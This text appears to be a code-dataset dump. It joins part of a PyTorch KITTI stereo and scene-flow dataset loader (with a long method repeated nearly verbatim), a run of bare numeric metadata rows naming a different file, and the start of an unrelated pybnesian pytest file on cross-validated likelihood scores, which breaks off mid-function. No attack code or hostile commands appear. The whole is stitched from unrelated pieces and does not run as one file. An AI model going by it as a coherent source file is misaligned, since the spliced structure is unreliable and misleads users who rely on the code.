fulldisp_list_np = [read_png_disp(img) for img in self._fulldepth_list[index]]
fulldisp_list_np = list_flatten(fulldisp_list_np)
if img_list_np[0].shape[0] < self._crop_size[0] and img_list_np[0].shape[1] < self._crop_size[1]:
print("im 1 size error")
if img_list_np[1].shape[0] < self._crop_size[0] and img_list_np[1].shape[1] < self._crop_size[1]:
print("im 1 size error")
if fulldisp_list_np[0].shape[0] < self._crop_size[0] and fulldisp_list_np[0].shape[1] < self._crop_size[1]:
print("im 1 size error")
if fulldisp_list_np[2].shape[0] < self._crop_size[0] and fulldisp_list_np[2].shape[1] < self._crop_size[1]:
print("im 1 size error")
# example filename
im_l1_filename = self._image_list[index][0]
basename = os.path.basename(im_l1_filename)[:6]
dirname = os.path.dirname(im_l1_filename)[-51:]
datename = dirname[:10]
#generate warp_im
#print("Intrinsic shape:",self.intrinsic_dict_l[datename].shape)
warpped_dict = threed_warp_flow(img_list_np[0],fulldisp_list_np[0],img_list_np[1],fulldisp_list_np[2],self.intrinsic_dict_l[datename],self.intrinsic_dict_r[datename])
warpped_list_np = [warpped_dict["warpped_im_l"],warpped_dict["warpped_im_r"]]
sf_list_np = [warpped_dict["sf_l"],warpped_dict["sf_r"]]
#sf_b_list_np = [warpped_dict["sf_bl"],warpped_dict["sf_br"]]
valid_sf_list_np = [warpped_dict["valid_l"],warpped_dict["valid_r"]]
#valid_pixels_list_np = [warpped_dict["valid_pixels_l"],warpped_dict["valid_pixels_r"]]
k_l1 = torch.from_numpy(self.intrinsic_dict_l[datename]).float()
k_r1 = torch.from_numpy(self.intrinsic_dict_r[datename]).float()
# input size
h_orig, w_orig, _ = img_list_np[0].shape
input_im_size = torch.from_numpy(np.array([h_orig, w_orig])).float()
# cropping
#print("cropping?", self._preprocessing_crop)
if self._preprocessing_crop:
# get starting positions
crop_height = self._crop_size[0]
crop_width = self._crop_size[1]
x = np.random.uniform(0, w_orig - crop_width + 1)
y = np.random.uniform(0, h_orig - crop_height + 1)
crop_info = [int(x), int(y), int(x + crop_width), int(y + crop_height)]
# cropping images and adjust intrinsic accordingly
img_list_np = kitti_crop_image_list(img_list_np, crop_info)
warpped_list_np = kitti_crop_image_list(warpped_list_np,crop_info)
sf_list_np = kitti_crop_image_list(sf_list_np,crop_info)
#sf_b_list_np = kitti_crop_image_list(sf_b_list_np,crop_info)
#valid_pixels_list_np = kitti_crop_image_list(valid_pixels_list_np,crop_info)
valid_sf_list_np = kitti_crop_image_list(valid_sf_list_np,crop_info)
#disp_list_np = kitti_crop_image_list(disp_list_np, crop_info)
fulldisp_list_np = kitti_crop_image_list(fulldisp_list_np, crop_info)
k_l1, k_r1 = kitti_adjust_intrinsic(k_l1, k_r1, crop_info)
#print("im shape:",img_list_np[0].shape,img_list_np[1].shape)
#print("disp shape:", fulldisp_list_np[0].shape,fulldisp_list_np[2].shape)
#print("warpped_im shape:", warpped_list_np[0].shape, warpped_list_np[1].shape)
#print("sf shape:", sf_list_np[0].shape, sf_list_np[1].shape)
#print("masks shape:", valid_sf_list_np[0].shape,valid_sf_list_np[1].shape,valid_pixels_list_np[0].shape,valid_pixels_list_np[1].shape)
# to tensors
img_list_tensor = [self._to_tensor(img) for img in img_list_np]
warpped_list_tensor = [numpy2torch(img) for img in warpped_list_np]
sf_list_tensor = [numpy2torch(img) for img in sf_list_np]
#sf_b_list_tensor = [numpy2torch(img) for img in sf_b_list_np]
valid_sf_list_tensor = [numpy2torch(img) for img in valid_sf_list_np]
#valid_pixels_list_tensor = [numpy2torch(img) for img in valid_pixels_list_np]
fulldisp_list_tensor = [numpy2torch(img) for img in fulldisp_list_np]
for i in range(len(img_list_tensor)):
fulldisp_list_tensor[2*i] = self.interpolate2d_as(fulldisp_list_tensor[2*i],img_list_tensor[i])
warpped_list_tensor[i] = self.interpolate2d_as(warpped_list_tensor[i],img_list_tensor[i])
sf_list_tensor[i] = self.interpolate2d_as(sf_list_tensor[i],img_list_tensor[i])
#sf_b_list_tensor[i] = self.interpolate2d_as(sf_b_list_tensor[i],img_list_tensor[i])
valid_sf_list_tensor[i] = self.interpolate2d_as(valid_sf_list_tensor[i],img_list_tensor[i])
#valid_pixels_list_tensor[i] = self.interpolate2d_as(valid_pixels_list_tensor[i],img_list_tensor[i])
im_l = img_list_tensor[0]
im_r = img_list_tensor[1]
fulldisp_l = fulldisp_list_tensor[0]
fulldisp_r = fulldisp_list_tensor[2]
warpped_im_l = warpped_list_tensor[0]
warpped_im_r = warpped_list_tensor[1]
sf_l = sf_list_tensor[0]
sf_r = sf_list_tensor[1]
#sf_bl = sf_b_list_tensor[0]
#sf_br = sf_b_list_tensor[1]
valid_sf_l = valid_sf_list_tensor[0]
valid_sf_r = valid_sf_list_tensor[1]
#valid_pixels_l = valid_pixels_list_tensor[0]
#valid_pixels_r = valid_pixels_list_tensor[1]
#disp_l1_mask = disp_list_tensor[1]
#disp_l2_mask = disp_list_tensor[3]
#disp_r1_mask = disp_list_tensor[5]
#disp_r2_mask = disp_list_tensor[7]
common_dict = {
"index": index,
"basename": basename,
"datename": datename,
"input_size": input_im_size
}
# random flip
if self._flip_augmentations is True and torch.rand(1) > 0.5:
_, _, ww = im_l.size()
im_l_flip = torch.flip(im_l, dims=[2])
im_r_flip = torch.flip(im_r, dims=[2])
fulldisp_l_flip = torch.flip(fulldisp_l, dims=[2])
fulldisp_r_flip = torch.flip(fulldisp_r, dims=[2])
warpped_im_l_flip = torch.flip(warpped_im_l, dims=[2])
warpped_im_r_flip = torch.flip(warpped_im_r, dims=[2])
sf_l_flip = torch.flip(sf_l, dims=[2])
sf_r_flip = torch.flip(sf_r, dims=[2])
#sf_bl_flip = torch.flip(sf_bl, dims=[2])
#sf_br_flip = torch.flip(sf_br, dims=[2])
valid_sf_l_flip = torch.flip(valid_sf_l, dims=[2])
valid_sf_r_flip = torch.flip(valid_sf_r, dims=[2])
#valid_pixels_l_flip = torch.flip(valid_pixels_l, dims=[2])
#valid_pixels_r_flip = torch.flip(valid_pixels_r, dims=[2])
k_l1[0, 2] = ww - k_l1[0, 2]
k_r1[0, 2] = ww - k_r1[0, 2]
example_dict = {
"input_l1": im_r_flip,
"input_r1": im_l_flip,
"input_l2": warpped_im_r_flip,
"input_r2": warpped_im_l_flip,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"sf_l": sf_r_flip,
"sf_r": sf_l_flip,
"valid_sf_l": valid_sf_r_flip,
"valid_sf_r": valid_sf_l_flip,
}
example_dict.update(common_dict)
else:
example_dict = {
"input_l1": im_l,
"input_r1": im_r,
"input_l2": warpped_im_l,
"input_r2": warpped_im_r,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"sf_l": sf_l,
"sf_r": sf_r,
"valid_sf_l": valid_sf_l,
"valid_sf_r": valid_sf_r,
}
example_dict.update(common_dict)
return example_dict
def __len__(self):
return self._size
def interpolate2d_as(self, inputs, target_as, mode="bilinear"):
_, _, h, w= target_as.unsqueeze(0).size()
return tf.interpolate(inputs.unsqueeze(0), [h, w], mode=mode, align_corners=True).squeeze(0)
class KITTI_Raw_Warpping_Flow_KittiSplit_Train(KITTI_Raw_Warpping_Flow):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Warpping_Flow_KittiSplit_Train, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_train.txt")
class KITTI_Raw_Warpping_Flow_KittiSplit_Valid(KITTI_Raw_Warpping_Flow):
def __init__(self,
args,
root,
flip_augmentations=False,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Warpping_Flow_KittiSplit_Valid, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_valid.txt")
class KITTI_Raw_Warpping_Flow_KittiSplit_Full(KITTI_Raw_Warpping_Flow):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Warpping_Flow_KittiSplit_Full, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_full.txt")
class KITTI_Raw_Warpping_Test(data.Dataset):
def __init__(self,
args,
images_root=None,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file=None):
self._args = args
self._seq_len = 1
self._flip_augmentations = False
self._preprocessing_crop = False
self._crop_size = crop_size
path_dir = os.path.dirname(os.path.realpath(__file__))
path_index_file = os.path.join(path_dir, index_file)
if not os.path.exists(path_index_file):
raise ValueError("Index File '%s' not found!", path_index_file)
index_file = open(path_index_file, 'r')
## loading image -----------------------------------
if not os.path.isdir(images_root):
raise ValueError("Image directory '%s' not found!")
filename_list = [line.rstrip().split(' ') for line in index_file.readlines()]
self._image_list = []
self._depth_list = []
self._fulldepth_list = []
view1 = 'image_02/data'
view2 = 'image_03/data'
full_depth1 = 'completed_depth/image_02'
full_depth2 = 'completed_depth/image_03'
ext = '.png'
for idx in range(103):
date = '2011_09_26'
scene = '2011_09_26_drive_0001_sync'
#idx_src = item[1]
#idx_tgt = '%.10d' % (int(idx_src) + 1)
name_l = '/disk_hdd/kitti_raw/2011_09_26/2011_09_26_drive_0001_sync' + '/image_02/data/' + '%.10d' % (int(idx) + 5) + '.png'
name_r = '/disk_hdd/kitti_raw/2011_09_26/2011_09_26_drive_0001_sync' + '/image_03/data/' + '%.10d' % (int(idx) + 5) + '.png'
fulldepth_l = '/disk_hdd/kitti_raw/2011_09_26/2011_09_26_drive_0001_sync' + '/completed_depth/image_02/' + '%.10d' % (int(idx) + 5) + '.png'
fulldepth_r = '/disk_hdd/kitti_raw/2011_09_26/2011_09_26_drive_0001_sync' + '/completed_depth/image_03/' + '%.10d' % (int(idx) + 5) + '.png'
if (os.path.isfile(name_l) and os.path.isfile(name_r) and
os.path.isfile(fulldepth_l) and os.path.isfile(fulldepth_r)):
self._image_list.append([name_l, name_r])
self._fulldepth_list.append([fulldepth_l, fulldepth_r])
if len(self._image_list) != len(self._fulldepth_list):
print(len(self._image_list), len(self._fulldepth_list))
raise ValueError("Image and Depth Incosistency!!! Double Check")
for idx, _ in enumerate(self._image_list):
#print(self._image_list[idx])
for sub_idx, _ in enumerate(self._image_list[idx]):
if not os.path.isfile(self._image_list[idx][sub_idx]):
raise ValueError("Image File not exist: %s", self._image_list[idx])
if not os.path.isfile(self._fulldepth_list[idx][sub_idx]):
raise ValueError("Depth File not exist: %s", self._fulldepth_list[idx])
if num_examples > 0:
self._image_list = self._image_list[:num_examples]
self._fulldepth_list = self._fulldepth_list[:num_examples]
self._size = len(self._image_list)
## loading calibration matrix
self.intrinsic_dict_l = {}
self.intrinsic_dict_r = {}
self.intrinsic_dict_l, self.intrinsic_dict_r = read_calib_into_dict(path_dir)
self._to_tensor = vision_transforms.Compose([
vision_transforms.ToPILImage(),
vision_transforms.transforms.ToTensor()
])
def __getitem__(self, index):
index = index % self._size
# read images and flow
# im_l1, im_l2, im_r1, im_r2
img_list_np = [read_image_as_byte(img) for img in self._image_list[index]]
#disp_list_np = [read_png_disp(img) for img in self._depth_list[index]]
#disp_list_np = list_flatten(disp_list_np)
fulldisp_list_np = [read_png_disp(img) for img in self._fulldepth_list[index]]
fulldisp_list_np = list_flatten(fulldisp_list_np)
if img_list_np[0].shape[0] < self._crop_size[0] and img_list_np[0].shape[1] < self._crop_size[1]:
print("im 1 size error")
if img_list_np[1].shape[0] < self._crop_size[0] and img_list_np[1].shape[1] < self._crop_size[1]:
print("im 1 size error")
if fulldisp_list_np[0].shape[0] < self._crop_size[0] and fulldisp_list_np[0].shape[1] < self._crop_size[1]:
print("im 1 size error")
if fulldisp_list_np[2].shape[0] < self._crop_size[0] and fulldisp_list_np[2].shape[1] < self._crop_size[1]:
print("im 1 size error")
# example filename
im_l1_filename = self._image_list[index][0]
basename = os.path.basename(im_l1_filename)[:6]
dirname = os.path.dirname(im_l1_filename)[-51:]
datename = dirname[:10]
#generate warp_im
#print("Intrinsic shape:",self.intrinsic_dict_l[datename].shape)
warpped_dict = threed_warp_flow(img_list_np[0],fulldisp_list_np[0],img_list_np[1],fulldisp_list_np[2],self.intrinsic_dict_l[datename],self.intrinsic_dict_r[datename])
warpped_list_np = [warpped_dict["warpped_im_l"],warpped_dict["warpped_im_r"]]
sf_list_np = [warpped_dict["sf_l"],warpped_dict["sf_r"]]
#sf_b_list_np = [warpped_dict["sf_bl"],warpped_dict["sf_br"]]
valid_sf_list_np = [warpped_dict["valid_l"],warpped_dict["valid_r"]]
#valid_pixels_list_np = [warpped_dict["valid_pixels_l"],warpped_dict["valid_pixels_r"]]
k_l1 = torch.from_numpy(self.intrinsic_dict_l[datename]).float()
k_r1 = torch.from_numpy(self.intrinsic_dict_r[datename]).float()
# input size
h_orig, w_orig, _ = img_list_np[0].shape
input_im_size = torch.from_numpy(np.array([h_orig, w_orig])).float()
# cropping
#print("cropping?", self._preprocessing_crop)
if self._preprocessing_crop:
# get starting positions
crop_height = self._crop_size[0]
crop_width = self._crop_size[1]
x = np.random.uniform(0, w_orig - crop_width + 1)
y = np.random.uniform(0, h_orig - crop_height + 1)
crop_info = [int(x), int(y), int(x + crop_width), int(y + crop_height)]
# cropping images and adjust intrinsic accordingly
img_list_np = kitti_crop_image_list(img_list_np, crop_info)
warpped_list_np = kitti_crop_image_list(warpped_list_np,crop_info)
sf_list_np = kitti_crop_image_list(sf_list_np,crop_info)
#sf_b_list_np = kitti_crop_image_list(sf_b_list_np,crop_info)
#valid_pixels_list_np = kitti_crop_image_list(valid_pixels_list_np,crop_info)
valid_sf_list_np = kitti_crop_image_list(valid_sf_list_np,crop_info)
#disp_list_np = kitti_crop_image_list(disp_list_np, crop_info)
fulldisp_list_np = kitti_crop_image_list(fulldisp_list_np, crop_info)
k_l1, k_r1 = kitti_adjust_intrinsic(k_l1, k_r1, crop_info)
#print("im shape:",img_list_np[0].shape,img_list_np[1].shape)
#print("disp shape:", fulldisp_list_np[0].shape,fulldisp_list_np[2].shape)
#print("warpped_im shape:", warpped_list_np[0].shape, warpped_list_np[1].shape)
#print("sf shape:", sf_list_np[0].shape, sf_list_np[1].shape)
#print("masks shape:", valid_sf_list_np[0].shape,valid_sf_list_np[1].shape,valid_pixels_list_np[0].shape,valid_pixels_list_np[1].shape)
# to tensors
img_list_tensor = [self._to_tensor(img) for img in img_list_np]
warpped_list_tensor = [numpy2torch(img) for img in warpped_list_np]
sf_list_tensor = [numpy2torch(img) for img in sf_list_np]
#sf_b_list_tensor = [numpy2torch(img) for img in sf_b_list_np]
valid_sf_list_tensor = [numpy2torch(img) for img in valid_sf_list_np]
#valid_pixels_list_tensor = [numpy2torch(img) for img in valid_pixels_list_np]
fulldisp_list_tensor = [numpy2torch(img) for img in fulldisp_list_np]
for i in range(len(img_list_tensor)):
fulldisp_list_tensor[2*i] = self.interpolate2d_as(fulldisp_list_tensor[2*i],img_list_tensor[i])
warpped_list_tensor[i] = self.interpolate2d_as(warpped_list_tensor[i],img_list_tensor[i])
sf_list_tensor[i] = self.interpolate2d_as(sf_list_tensor[i],img_list_tensor[i])
#sf_b_list_tensor[i] = self.interpolate2d_as(sf_b_list_tensor[i],img_list_tensor[i])
valid_sf_list_tensor[i] = self.interpolate2d_as(valid_sf_list_tensor[i],img_list_tensor[i])
#valid_pixels_list_tensor[i] = self.interpolate2d_as(valid_pixels_list_tensor[i],img_list_tensor[i])
im_l = img_list_tensor[0]
im_r = img_list_tensor[1]
fulldisp_l = fulldisp_list_tensor[0]
fulldisp_r = fulldisp_list_tensor[2]
warpped_im_l = warpped_list_tensor[0]
warpped_im_r = warpped_list_tensor[1]
sf_l = sf_list_tensor[0]
sf_r = sf_list_tensor[1]
#sf_bl = sf_b_list_tensor[0]
#sf_br = sf_b_list_tensor[1]
valid_sf_l = valid_sf_list_tensor[0]
valid_sf_r = valid_sf_list_tensor[1]
#valid_pixels_l = valid_pixels_list_tensor[0]
#valid_pixels_r = valid_pixels_list_tensor[1]
#disp_l1_mask = disp_list_tensor[1]
#disp_l2_mask = disp_list_tensor[3]
#disp_r1_mask = disp_list_tensor[5]
#disp_r2_mask = disp_list_tensor[7]
common_dict = {
"index": index,
"basename": basename,
"datename": datename,
"input_size": input_im_size
}
# random flip
if self._flip_augmentations is True and torch.rand(1) > 0.5:
_, _, ww = im_l.size()
im_l_flip = torch.flip(im_l, dims=[2])
im_r_flip = torch.flip(im_r, dims=[2])
fulldisp_l_flip = torch.flip(fulldisp_l, dims=[2])
fulldisp_r_flip = torch.flip(fulldisp_r, dims=[2])
warpped_im_l_flip = torch.flip(warpped_im_l, dims=[2])
warpped_im_r_flip = torch.flip(warpped_im_r, dims=[2])
sf_l_flip = torch.flip(sf_l, dims=[2])
sf_r_flip = torch.flip(sf_r, dims=[2])
#sf_bl_flip = torch.flip(sf_bl, dims=[2])
#sf_br_flip = torch.flip(sf_br, dims=[2])
valid_sf_l_flip = torch.flip(valid_sf_l, dims=[2])
valid_sf_r_flip = torch.flip(valid_sf_r, dims=[2])
#valid_pixels_l_flip = torch.flip(valid_pixels_l, dims=[2])
#valid_pixels_r_flip = torch.flip(valid_pixels_r, dims=[2])
k_l1[0, 2] = ww - k_l1[0, 2]
k_r1[0, 2] = ww - k_r1[0, 2]
example_dict = {
"input_l1": im_r_flip,
"input_r1": im_l_flip,
"input_l2": warpped_im_r_flip,
"input_r2": warpped_im_l_flip,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"sf_l": sf_r_flip,
"sf_r": sf_l_flip,
"valid_sf_l": valid_sf_r_flip,
"valid_sf_r": valid_sf_l_flip,
}
example_dict.update(common_dict)
else:
example_dict = {
"input_l1": im_l,
"input_r1": im_r,
"input_l2": warpped_im_l,
"input_r2": warpped_im_r,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"sf_l": sf_l,
"sf_r": sf_r,
"valid_sf_l": valid_sf_l,
"valid_sf_r": valid_sf_r,
}
example_dict.update(common_dict)
return example_dict
def __len__(self):
return self._size
def interpolate2d_as(self, inputs, target_as, mode="bilinear"):
_, _, h, w= target_as.unsqueeze(0).size()
return tf.interpolate(inputs.unsqueeze(0), [h, w], mode=mode, align_corners=True).squeeze(0)
class KITTI_Raw_Warpping_Test_Valid(KITTI_Raw_Warpping_Test):
def __init__(self,
args,
root,
flip_augmentations=False,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Warpping_Test_Valid, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_valid.txt")
| 34.373243
| 230
| 0.72
| 9,869
| 61,150
| 4.036579
| 0.022697
| 0.03178
| 0.024475
| 0.011045
| 0.983106
| 0.977082
| 0.971007
| 0.969702
| 0.969702
| 0.968898
| 0
| 0.028766
| 0.15408
| 61,150
| 1,779
| 231
| 34.373243
| 0.741359
| 0.128209
| 0
| 0.929675
| 0
| 0
| 0.076148
| 0.020317
| 0.003091
| 0
| 0
| 0
| 0
| 1
| 0.032458
| false
| 0
| 0.007728
| 0.004637
| 0.072643
| 0.012365
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
95c922c5cfd4193bc13e6bd42650e9a2b7d6aed5
| 11,840
|
py
|
Python
|
tests/learning/scores/cvlikelihood_test.py
|
vishalbelsare/PyBNesian
|
0190cd4cf6d133746741e2750004ccf0a9061fbd
|
[
"MIT"
] | 8
|
2021-06-22T19:21:12.000Z
|
2022-03-26T13:08:05.000Z
|
tests/learning/scores/cvlikelihood_test.py
|
vishalbelsare/PyBNesian
|
0190cd4cf6d133746741e2750004ccf0a9061fbd
|
[
"MIT"
] | null | null | null |
tests/learning/scores/cvlikelihood_test.py
|
vishalbelsare/PyBNesian
|
0190cd4cf6d133746741e2750004ccf0a9061fbd
|
[
"MIT"
] | 3
|
2021-08-20T13:44:46.000Z
|
2022-03-27T02:57:02.000Z
|
import pytest
import numpy as np
from scipy.stats import norm, gaussian_kde
import pybnesian as pbn
import util_test
SIZE = 1000
df = util_test.generate_normal_data(SIZE)
seed = 0
def numpy_local_score(node_type, data, variable, evidence):
cv = pbn.CrossValidation(data, 10, seed)
loglik = 0
for train_df, test_df in cv:
if isinstance(variable, str):
node_data = train_df.to_pandas().loc[:, [variable] + evidence].dropna()
variable_data = node_data.loc[:, variable]
evidence_data = node_data.loc[:, evidence]
test_node_data = test_df.to_pandas().loc[:, [variable] + evidence].dropna()
test_variable_data = test_node_data.loc[:, variable]
test_evidence_data = test_node_data.loc[:, evidence]
else:
node_data = train_df.to_pandas().iloc[:, [variable] + evidence].dropna()
variable_data = node_data.iloc[:, 0]
evidence_data = node_data.iloc[:, 1:]
test_node_data = test_df.to_pandas().iloc[:, [variable] + evidence].dropna()
test_variable_data = test_node_data.iloc[:, 0]
test_evidence_data = test_node_data.iloc[:, 1:]
if node_type == pbn.LinearGaussianCPDType():
N = variable_data.shape[0]
d = evidence_data.shape[1]
linregress_data = np.column_stack((np.ones(N), evidence_data.to_numpy()))
(beta, res, _, _) = np.linalg.lstsq(linregress_data, variable_data.to_numpy(), rcond=None)
var = res / (N - d - 1)
means = beta[0] + np.sum(beta[1:]*test_evidence_data, axis=1)
loglik += norm.logpdf(test_variable_data, means, np.sqrt(var)).sum()
elif node_type == pbn.CKDEType():
k_joint = gaussian_kde(node_data.to_numpy().T,
bw_method=lambda s : np.power(4 / (s.d + 2), 1 / (s.d + 4)) * s.scotts_factor())
if evidence:
k_marg = gaussian_kde(evidence_data.to_numpy().T, bw_method=k_joint.covariance_factor())
loglik += np.sum(k_joint.logpdf(test_node_data.to_numpy().T) - k_marg.logpdf(test_evidence_data.to_numpy().T))
else:
loglik += np.sum(k_joint.logpdf(test_node_data.to_numpy().T))
return loglik
def test_cvl_create():
s = pbn.CVLikelihood(df)
assert len(list(s.cv)) == 10
s = pbn.CVLikelihood(df, 5)
assert len(list(s.cv)) == 5
s = pbn.CVLikelihood(df, 10, 0)
assert len(list(s.cv)) == 10
s2 = pbn.CVLikelihood(df, 10, 0)
assert len(list(s2.cv)) == 10
for (train_cv, test_cv), (train_cv2, test_cv2) in zip(s.cv, s2.cv):
assert train_cv.equals(train_cv2), "Train CV DataFrames with the same seed are not equal."
assert test_cv.equals(test_cv2), "Test CV DataFrames with the same seed are not equal."
with pytest.raises(ValueError) as ex:
s = pbn.CVLikelihood(df, SIZE+1)
assert "Cannot split" in str(ex.value)
def test_cvl_local_score_gbn():
gbn = pbn.GaussianNetwork([('a', 'b'), ('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd'), ('c', 'd')])
cvl = pbn.CVLikelihood(df, 10, seed)
assert np.isclose(cvl.local_score(gbn, 'a', []),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'a', []))
assert np.isclose(cvl.local_score(gbn, 'b', ['a']),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'b', ['a']))
assert np.isclose(cvl.local_score(gbn, 'c', ['a', 'b']),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'c', ['a', 'b']))
assert np.isclose(cvl.local_score(gbn, 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'd', ['a', 'b', 'c']))
assert np.isclose(cvl.local_score(gbn, 'd', ['a', 'b', 'c']),
cvl.local_score(gbn, 'd', ['b', 'c', 'a']))
assert cvl.local_score(gbn, 'a') == cvl.local_score(gbn, 'a', gbn.parents('a'))
assert cvl.local_score(gbn, 'b') == cvl.local_score(gbn, 'b', gbn.parents('b'))
assert cvl.local_score(gbn, 'c') == cvl.local_score(gbn, 'c', gbn.parents('c'))
assert cvl.local_score(gbn, 'd') == cvl.local_score(gbn, 'd', gbn.parents('d'))
def test_cvl_local_score_gbn_null():
gbn = pbn.GaussianNetwork([('a', 'b'), ('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd'), ('c', 'd')])
np.random.seed(0)
a_null = np.random.randint(0, SIZE, size=100)
b_null = np.random.randint(0, SIZE, size=100)
c_null = np.random.randint(0, SIZE, size=100)
d_null = np.random.randint(0, SIZE, size=100)
df_null = df.copy()
df_null.loc[df_null.index[a_null], 'a'] = np.nan
df_null.loc[df_null.index[b_null], 'b'] = np.nan
df_null.loc[df_null.index[c_null], 'c'] = np.nan
df_null.loc[df_null.index[d_null], 'd'] = np.nan
cvl = pbn.CVLikelihood(df_null, 10, seed)
assert np.isclose(cvl.local_score(gbn, 'a', []),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'a', []))
assert np.isclose(cvl.local_score(gbn, 'b', ['a']),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'b', ['a']))
assert np.isclose(cvl.local_score(gbn, 'c', ['a', 'b']),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'c', ['a', 'b']))
assert np.isclose(cvl.local_score(gbn, 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'd', ['a', 'b', 'c']))
assert np.isclose(cvl.local_score(gbn, 'd', ['a', 'b', 'c']),
cvl.local_score(gbn, 'd', ['b', 'c', 'a']))
assert cvl.local_score(gbn, 'a') == cvl.local_score(gbn, 'a', gbn.parents('a'))
assert cvl.local_score(gbn, 'b') == cvl.local_score(gbn, 'b', gbn.parents('b'))
assert cvl.local_score(gbn, 'c') == cvl.local_score(gbn, 'c', gbn.parents('c'))
assert cvl.local_score(gbn, 'd') == cvl.local_score(gbn, 'd', gbn.parents('d'))
def test_cvl_local_score_spbn():
spbn = pbn.SemiparametricBN([('a', 'b'), ('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd'), ('c', 'd')],
[('a', pbn.CKDEType()), ('c', pbn.CKDEType())])
cvl = pbn.CVLikelihood(df, 10, seed)
assert np.isclose(cvl.local_score(spbn, 'a', []),
numpy_local_score(pbn.CKDEType(), df, 'a', []))
assert np.isclose(cvl.local_score(spbn, 'b', ['a']),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'b', ['a']))
assert np.isclose(cvl.local_score(spbn, 'c', ['a', 'b']),
numpy_local_score(pbn.CKDEType(), df, 'c', ['a', 'b']))
assert np.isclose(cvl.local_score(spbn, 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'd', ['a', 'b', 'c']))
assert np.isclose(cvl.local_score(spbn, 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'd', ['b', 'c', 'a']))
assert cvl.local_score(spbn, 'a') == cvl.local_score(spbn, 'a', spbn.parents('a'))
assert cvl.local_score(spbn, 'b') == cvl.local_score(spbn, 'b', spbn.parents('b'))
assert cvl.local_score(spbn, 'c') == cvl.local_score(spbn, 'c', spbn.parents('c'))
assert cvl.local_score(spbn, 'd') == cvl.local_score(spbn, 'd', spbn.parents('d'))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.LinearGaussianCPDType(), 'a', []),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'a', []))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.CKDEType(), 'b', ['a']),
numpy_local_score(pbn.CKDEType(), df, 'b', ['a']))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.LinearGaussianCPDType(), 'c', ['a', 'b']),
numpy_local_score(pbn.LinearGaussianCPDType(), df, 'c', ['a', 'b']))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.CKDEType(), 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.CKDEType(), df, 'd', ['a', 'b', 'c']))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.CKDEType(), 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.CKDEType(), df, 'd', ['b', 'c', 'a']))
def test_cvl_local_score_null_spbn():
spbn = pbn.SemiparametricBN([('a', 'b'), ('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd'), ('c', 'd')],
[('a', pbn.CKDEType()), ('c', pbn.CKDEType())])
np.random.seed(0)
a_null = np.random.randint(0, SIZE, size=100)
b_null = np.random.randint(0, SIZE, size=100)
c_null = np.random.randint(0, SIZE, size=100)
d_null = np.random.randint(0, SIZE, size=100)
df_null = df.copy()
df_null.loc[df_null.index[a_null], 'a'] = np.nan
df_null.loc[df_null.index[b_null], 'b'] = np.nan
df_null.loc[df_null.index[c_null], 'c'] = np.nan
df_null.loc[df_null.index[d_null], 'd'] = np.nan
cvl = pbn.CVLikelihood(df_null, 10, seed)
assert np.isclose(cvl.local_score(spbn, 'a', []),
numpy_local_score(pbn.CKDEType(), df_null, 'a', []))
assert np.isclose(cvl.local_score(spbn, 'b', ['a']),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'b', ['a']))
assert np.isclose(cvl.local_score(spbn, 'c', ['a', 'b']),
numpy_local_score(pbn.CKDEType(), df_null, 'c', ['a', 'b']))
